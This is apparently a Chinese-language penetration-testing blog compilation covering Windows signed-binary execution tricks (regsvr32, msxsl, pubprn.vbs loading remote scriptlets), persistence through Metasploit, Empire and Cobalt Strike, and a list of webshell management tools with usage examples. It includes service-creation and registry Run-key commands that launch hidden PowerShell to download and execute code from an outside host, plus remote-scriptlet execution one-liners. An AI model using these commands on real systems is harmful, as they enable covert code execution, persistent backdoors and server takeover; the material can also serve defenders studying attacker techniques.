Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

在目标机上执行:

1
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

可以通过自己构造.sct文件,去下载执行我们的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>

执行命令,成功弹计算器:

0x14 MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为:https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

1
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

exec.xsl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;

}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

0x15 pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

1
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

test.sct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

三大渗透测试框架权限维持技术

0x00 前言

在渗透测试中,有三个非常经典的渗透测试框架—-Metasploit、Empire、Cobalt Strike。

那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢?

0x01 MSF权限维持

使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:

Persistence模块

通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

1
2
3
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)

生成的相关文件位置 :

1
2
3
4
5
6
# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

Metsvc 模块

通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

后门排查:目标主机上开启了一个Meterpreter服务。

0x02 Empire 权限维持

Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即

elevated(管理权限) misc(杂项) powerbreach userland(用户权限)
registry* add_netuser deaduser backdoor_lnk
schtasks* add_sid_history* eventlog* registry
wmi* debugger* resolver schtasks
wmi_updater* disable_machine_acct_change*
get_ssps
install_ssp*
memssp*
skeleton_key*

注册表

1
2
3
4
5
(Empire: agents) > agents
(Empire: agents) > interact URL3FZBV
(Empire: URL3FZBV) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:

计划任务

1
2
3
4
5
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) > execute

在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell

wmi

1
2
3
4
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > run

如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。

0x03 Cobalt Strike权限维持

通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。

从Cobalt Strike菜单栏,Attacks–Web Drive-by–Scaripted Web Delivery,生成powershell后门。

根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。

点击Launch后,返回powershell远程下载执行命令。

服务自启动后门

1
2
3
4
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""
sc description Name "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务

重启服务器后,成功返回一个shell。

注册表自启动

在windows启动项注册表里面添加一个木马程序路径,如:

1
2
beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f

账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。

注册表还有哪些键值可以设置为自启动:

1
2
3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

0x04 结束语

本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去发现并解决服务器安全问题。

常见WebShell管理工具

攻击者在入侵网站时,通常要通过各种方式写入Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。

本文介绍十款常用的Webshell管理工具,以供你选择,你会选择哪一个?


1、中国菜刀(Chopper)

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。

2、蚁剑(AntSword)

AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。

github项目地址:https://github.com/AntSwordProject/antSword

3、C刀(Cknife)

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义。

github项目地址:https://github.com/Chora10/Cknife

4、冰蝎(Behinder)

冰蝎”是一款动态二进制加密网站管理客户端。

github地址:https://github.com/rebeyond/Behinder

5、Xise

XISE WebShell管理工具。

6、Altman

Altman3是一款渗透测试软件,基于.Net4.0开发,依托Eto.Form可以完美运行在Windows、Linux、Mac等多个平台。

github项目地址:https://github.com/keepwn/Altman

7、Weevely

Weevely是一种Python编写的webshell管理工具,跨平台,只支持PHP。

github项目地址:https://github.com/epinna/weevely3

用法示例:

1
2
weevely generate <password> <path>
weevely <URL> <password> [cmd]

同时,在Kali 2.0 版本下,集成了三款Web后门工具:WebaCoo、weevely、PHP Meterpreter。

8、QuasiBot

QuasiBot是一款php编写的webshell管理工具,可以对webshell进行远程批量管理。

github项目地址:https://github.com/Smaash/quasibot

9、Webshell-Sniper

这是一款基于终端的webshell管理工具,仅支持在类Unix系统上运行。

github项目地址:https://github.com/WangYihang/Webshell-Sniper

用法示例:

1
2
3
4
Usage : 
python webshell-sniper.py [URL] [METHOD] [AUTH]
Example :
python webshell-sniper.py http://127.0.0.1/c.php POST c

10、WebshellManager

一款用PHP+Mysql写的一句话WEB端管理工具,目前仅支持对PHP的一句话进行操作。

github项目地址:https://github.com/boy-hack/WebshellManager

收集到了一些webshell管理工具,如 hatchet、K8飞刀、lanker,欢迎补充。